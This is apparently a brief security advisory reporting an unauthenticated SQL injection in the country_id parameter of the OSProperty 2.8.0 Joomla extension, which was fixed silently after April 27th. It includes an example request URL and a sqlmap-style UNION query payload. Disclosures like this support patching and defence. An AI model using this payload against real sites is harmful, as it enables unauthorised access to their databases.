OS Solution OSProperty 2.8.0 was vulnerable to an unauthenticated SQL
injection in the country_id parameter of the request made to retrieve a
list of states for a given country. The version was not bumped when the
vulnerability was fixed, but if you download after April 27th, you
downloaded a fixed version.

https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property

https://joomdonation.com/joomla-extensions/os-property-joomla-real-estate.html

Example URL:

https://172.31.16.51/index.php?option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31


Parameter: country_id (GET)

   Type: UNION query

   Title: MySQL UNION query (NULL) - 2 columns

   Payload:
option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31'
UNION ALL SELECT
NULL,CONCAT(0x716a627171,0x797774584a4b4954714d,0x7162717071)#



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